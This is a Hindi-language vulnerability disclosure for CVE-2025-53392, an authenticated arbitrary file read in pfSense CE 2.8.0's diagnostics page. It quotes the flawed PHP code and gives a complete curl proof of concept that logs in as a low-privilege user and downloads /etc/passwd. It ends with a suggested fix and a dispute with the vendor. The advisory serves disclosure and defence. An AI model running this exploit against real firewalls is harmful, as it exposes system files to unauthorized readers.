
प्रमाणित मनमाना फ़ाइल पढ़ना pfSense 2.8.0 में डायग्नोस्टिक्स वेब इंटरफ़ेस के माध्यम से (CVE-2025-53392)
CVE-2025-53392CWE-36 (पूर्ण पथ भ्रामण)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:Nकेवल अधिकृत परीक्षण और अनुसंधान प्रयोजनों के लिए। उन सिस्टमों पर इस भेद्यता का परीक्षण या शोषण न करें जिनके आप स्वामी नहीं हैं या जिनके परीक्षण की स्पष्ट अनुमति नहीं है।
pfSense CE 2.8.0 में डायग्नोस्टिक्स पृष्ठ diag_command.php में एक स्थानीय फ़ाइल खुलासा भेद्यता है, जो प्रमाणित उपयोगकर्ताओं को अंतर्निहित फ़ाइल सिस्टम से मनमानी फ़ाइलें डाउनलोड करने की अनुमति देती है।
इस कार्यक्षमता में अनुमति असाइनमेंट के अलावा किसी भी पथ स्वच्छता, निर्देशिका प्रतिबंध या पहुँच नियंत्रण का अभाव है।
भेद्य तर्क फ़ाइल src/usr/local/www/diag_command.php में स्थित है:
if ($_POST['submit'] == "DOWNLOAD" && file_exists($_POST['dlPath'])) {
session_cache_limiter('public');
send_user_download('file', $_POST['dlPath']);
}
उपयोगकर्ता-नियंत्रित dlPath पैरामीटर पर कोई सुरक्षा जाँच या स्वच्छता उपाय लागू नहीं किए गए हैं।
PHP प्रक्रिया द्वारा पढ़ी जा सकने वाली कोई भी फ़ाइल पथ उपयोगकर्ता को वापस परोसा जाएगा।
low-priv समूह बनाएँ और एक एकल विशेषाधिकार निर्दिष्ट करें (WebCfg - Diagnostics: Command)

जबकि मैं
WebCfg - Diagnostics: Commandविशेषाधिकार के लिए एक सुरक्षा अस्वीकरण की उपस्थिति स्वीकार करता हूँ, अस्वीकरण अकेले ध्वनि पहुँच नियंत्रण को प्रतिस्थापित नहीं करते।वाक्यांश "Allow access to the Diagnostics Command page" अस्पष्ट है और जोखिम को कम करके आंकता है, यह केवल डायग्नोस्टिक पहुँच नहीं, बल्कि अप्रतिबंधित रूट-स्तरीय कमांड निष्पादन सक्षम करता है।
वेब इंटरफ़ेस में विशेषाधिकार लेबल को उन कार्यों के दायरे और गंभीरता को सटीक रूप से प्रतिबिंबित करना चाहिए जिनकी वे अनुमति देते हैं, विशेष रूप से जब वे पूर्ण प्रशासनिक नियंत्रण को उजागर करते हैं।
low-priv समूह को dev उपयोगकर्ता को असाइन करें

यह प्रूफ ऑफ कॉन्सेप्ट दर्शाता है कि केवल WebCfg - Diagnostics: Command अनुमति वाला उपयोगकर्ता अस्वच्छ dlPath पैरामीटर का दुरुपयोग करके /etc/passwd को निकाल सकता है।
# 1. Start session and extract CSRF token
curl -k -c cookies.txt -s https://<IP>/diag_command.php > login_page.html
csrf_token=$(grep '__csrf_magic' login_page.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 2. Authenticate as low-privileged user "dev"
curl -k -b cookies.txt -c cookies.txt \
-d "__csrf_magic=$csrf_token" \
-d "usernamefld=dev" \
-d "passwordfld=pass" \
-d "login=Sign+In" \
https://<IP>/index.php > /dev/null
# 3. Get CSRF token post-login
curl -k -b cookies.txt -s https://<IP>/diag_command.php > diag_authed.html
csrf_token=$(grep '__csrf_magic' diag_authed.html | grep 'value=' | sed -E 's/.*value="([^"]+)".*/\1/')
# 4. Exfiltrate arbitrary file (example: /etc/passwd)
curl -k -b cookies.txt -s -X POST https://<IP>/diag_command.php \
-d "__csrf_magic=$csrf_token" \
-d "submit=DOWNLOAD" \
-d "dlPath=/etc/passwd"

WebCfg - Diagnostics: Command विशेषाधिकार वाला कोई भी pfSense उपयोगकर्ता निम्न कर सकता है:
यह कम से कम विशेषाधिकार के सिद्धांत का उल्लंघन करता है और तार्किक विशेषाधिकार सीमाओं को तोड़ता है।
dlPath को realpath() और उपसर्ग प्रवर्तन का उपयोग करके एक सुरक्षित आधार निर्देशिका (जैसे /tmp) तक प्रतिबंधित करें.. या पूर्ण पथ वाले पथों को हटाएँ या ब्लॉक करेंCVE-2025-53392 असाइन कियाजबकि विक्रेता दावा करता है कि इस पृष्ठ तक पहुँच रूट के बराबर है, यह वेब-स्तरीय अनुमतियों को अप्रतिबंधित बैकएंड पहुँच के साथ भ्रमित करता है।
विशेषाधिकार को तकनीकी रूप से लागू किया जाना चाहिए (न कि मान लिया जाना चाहिए) और यूआई में चेतावनियाँ सुरक्षित डिज़ाइन का कोई विकल्प नहीं हैं।
विक्रेता के दावे को चुनौती देते हुए कि यह कार्यक्षमता "अच्छी तरह से प्रलेखित" है - मुझे pfSense के उपयोगकर्ता विशेषाधिकार दस्तावेज़ीकरण में कोई उल्लेख नहीं मिला जो यह बताता हो कि WebCfg - Diagnostics: Command अनुमति रूट-स्तरीय पहुँच के बराबर है।

विक्रेता संभवतः Diagnostics Command पृष्ठ का उल्लेख कर रहा होगा, जिसमें दुरुपयोग के बारे में एक सामान्य चेतावनी शामिल है।
लेकिन दस्तावेज़ीकरण इस कार्यक्षमता को WebCfg - Diagnostics: Command विशेषाधिकार से स्पष्ट रूप से नहीं जोड़ता है या यह स्पष्ट नहीं करता है कि यह रूट-स्तरीय पहुँच प्रदान करता है।
फ़ायरवॉल के वेब इंटरफ़ेस के भीतर डायग्नोस्टिक मॉड्यूल में अंतर्निहित ऑपरेटिंग सिस्टम के विरुद्ध दुरुपयोग को रोकने के लिए उचित सुरक्षा उपाय होने चाहिए।
यह कार्य मेरे रोज़गार के बाहर किया गया था और साइबर सुरक्षा अनुसंधान में मेरे व्यक्तिगत प्रयासों को दर्शाता है।